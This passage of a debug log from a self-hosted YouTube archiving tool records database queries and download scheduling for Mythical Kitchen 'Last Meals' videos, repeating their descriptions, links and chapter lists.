https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2345, "filename" => "/downloads/Last Meals/2023-04-25 Jason Kelce Eats His Last Meal/Jason Kelce Eats His Last Meal [c--KcqojdrU].mp4", "id" => "c--KcqojdrU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=c--KcqojdrU", "playlist_index" => 24, "timestamp" => 1682416820, "title" => "Jason Kelce Eats His Last Meal", "upload_date" => "20230425"} 20:47:27.208 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=423.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:27.208 [debug] QUERY OK source="sources" db=0.2ms idle=424.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:27.209 [debug] QUERY OK source="media_items" db=0.3ms idle=280.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-25 10:00:20Z], 1] 20:47:27.213 [debug] QUERY OK source="media_items" db=2.9ms idle=280.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Jason Kelce's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Jason Kelce Eats His Last Meal", "85f12cc0-b27d-457c-9ed9-489801c694c7", "https://www.youtube.com/watch?v=c--KcqojdrU", false, "c--KcqojdrU", 2345, false, 24, "/downloads/Last Meals/2023-04-25 Jason Kelce Eats His Last Meal/Jason Kelce Eats His Last Meal [c--KcqojdrU].mp4", false, false, 1, [], 0, ~U[2023-04-25 10:00:20Z], ~U[2026-03-28 00:47:27Z], ~U[2026-03-28 00:47:27Z], "Today, Josh is cooking Jason Kelce's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Jason Kelce Eats His Last Meal", "https://www.youtube.com/watch?v=c--KcqojdrU", "c--KcqojdrU", 2345, false, "/downloads/Last Meals/2023-04-25 Jason Kelce Eats His Last Meal/Jason Kelce Eats His Last Meal [c--KcqojdrU].mp4", false, 1, ~U[2023-04-25 10:00:20Z]] 20:47:27.214 [debug] QUERY OK source="sources" db=0.2ms idle=197.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:27.214 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:27.215 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 20:47:27.215 [info] Kicking off download for media item #24 (c--KcqojdrU) 20:47:27.218 [debug] QUERY OK source="tasks" db=0.2ms idle=3.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [27, 24, ~U[2026-03-28 00:47:27Z], ~U[2026-03-28 00:47:27Z]] 20:47:27.218 [debug] Current batch of media processed. Will check again in 1000ms 20:47:28.218 [debug] Current batch of media processed. Will check again in 1000ms 20:47:28.568 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:29.219 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Vic Michaelis eats their last meal!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Vic's Last Meal\n0:15 Lying About High School Acting Experience\n2:10 Have You Thought About Your Last Meal Before?\n4:21 1st Course\n5:08 Caffeine Intake\n6:55 PRETZEL PIZZA\n8:36 Very Important People Is The Best\n11:36 Sharing Personal Tragedies\n16:49 2nd Course\n18:56 I Believe In People Who Believe In Signs\n19:49 Tae Kwon Do Patriotism\n21:13 Who Is The Real Vic Michaelis?\n22:35 Stargirl\n23:48 Family & The Gift Of Unbridled Confidence\n27:35 3rd Course\n27:49 Vic's First Job\n29:29 Rainforest Cafe Memories\n31:24 Empathy & Taking Action\n34:10 The Royce Dickman Anthology\n35:50 Treating Improv Academically\n37:55 Have Hobbies You Refuse To Monetize\n39:26 4th Course\n39:45 Spicy Chip Challenge\n42:49 Church & Religion\n44:35 What Do You Think Happens When You Die?\n45:30 What Do You Want To Be Known For?\n46:15 Lightning Round\n49:00 Vic's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3083, "filename" => "/downloads/Last Meals/2026-01-15 Vic Michaelis Eats Their Last Meal/Vic Michaelis Eats Their Last Meal [spwFlJDlK1M].mp4", "id" => "spwFlJDlK1M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=spwFlJDlK1M", "playlist_index" => 25, "timestamp" => 1768474900, "title" => "Vic Michaelis Eats Their Last Meal", "upload_date" => "20260115"} 20:47:29.220 [debug] QUERY OK source="sources" db=0.2ms idle=651.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:29.220 [debug] QUERY OK source="sources" db=0.2ms idle=201.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:29.221 [debug] QUERY OK source="media_items" db=0.2ms idle=163.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-15 11:01:40Z], 1] 20:47:29.223 [debug] QUERY OK source="media_items" db=1.3ms idle=163.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Vic Michaelis eats their last meal!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Vic's Last Meal\n0:15 Lying About High School Acting Experience\n2:10 Have You Thought About Your Last Meal Before?\n4:21 1st Course\n5:08 Caffeine Intake\n6:55 PRETZEL PIZZA\n8:36 Very Important People Is The Best\n11:36 Sharing Personal Tragedies\n16:49 2nd Course\n18:56 I Believe In People Who Believe In Signs\n19:49 Tae Kwon Do Patriotism\n21:13 Who Is The Real Vic Michaelis?\n22:35 Stargirl\n23:48 Family & The Gift Of Unbridled Confidence\n27:35 3rd Course\n27:49 Vic's First Job\n29:29 Rainforest Cafe Memories\n31:24 Empathy & Taking Action\n34:10 The Royce Dickman Anthology\n35:50 Treating Improv Academically\n37:55 Have Hobbies You Refuse To Monetize\n39:26 4th Course\n39:45 Spicy Chip Challenge\n42:49 Church & Religion\n44:35 What Do You Think Happens When You Die?\n45:30 What Do You Want To Be Known For?\n46:15 Lightning Round\n49:00 Vic's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Vic Michaelis Eats Their Last Meal", "e5744a5f-edc7-4a92-add4-0f26a66bd739", "https://www.youtube.com/watch?v=spwFlJDlK1M", false, "spwFlJDlK1M", 3083, false, 25, "/downloads/Last Meals/2026-01-15 Vic Michaelis Eats Their Last Meal/Vic Michaelis Eats Their Last Meal [spwFlJDlK1M].mp4", false, false, 1, [], 0, ~U[2026-01-15 11:01:40Z], ~U[2026-03-28 00:47:29Z], ~U[2026-03-28 00:47:29Z], "Today, Vic Michaelis eats their last meal!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Vic's Last Meal\n0:15 Lying About High School Acting Experience\n2:10 Have You Thought About Your Last Meal Before?\n4:21 1st Course\n5:08 Caffeine Intake\n6:55 PRETZEL PIZZA\n8:36 Very Important People Is The Best\n11:36 Sharing Personal Tragedies\n16:49 2nd Course\n18:56 I Believe In People Who Believe In Signs\n19:49 Tae Kwon Do Patriotism\n21:13 Who Is The Real Vic Michaelis?\n22:35 Stargirl\n23:48 Family & The Gift Of Unbridled Confidence\n27:35 3rd Course\n27:49 Vic's First Job\n29:29 Rainforest Cafe Memories\n31:24 Empathy & Taking Action\n34:10 The Royce Dickman Anthology\n35:50 Treating Improv Academically\n37:55 Have Hobbies You Refuse To Monetize\n39:26 4th Course\n39:45 Spicy Chip Challenge\n42:49 Church & Religion\n44:35 What Do You Think Happens When You Die?\n45:30 What Do You Want To Be Known For?\n46:15 Lightning Round\n49:00 Vic's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Vic Michaelis Eats Their Last Meal", "https://www.youtube.com/watch?v=spwFlJDlK1M", "spwFlJDlK1M", 3083, false, "/downloads/Last Meals/2026-01-15 Vic Michaelis Eats Their Last Meal/Vic Michaelis Eats Their Last Meal [spwFlJDlK1M].mp4", false, 1, ~U[2026- (truncated) 20:47:29.223 [debug] QUERY OK source="sources" db=0.1ms idle=165.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:29.224 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:29.224 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND 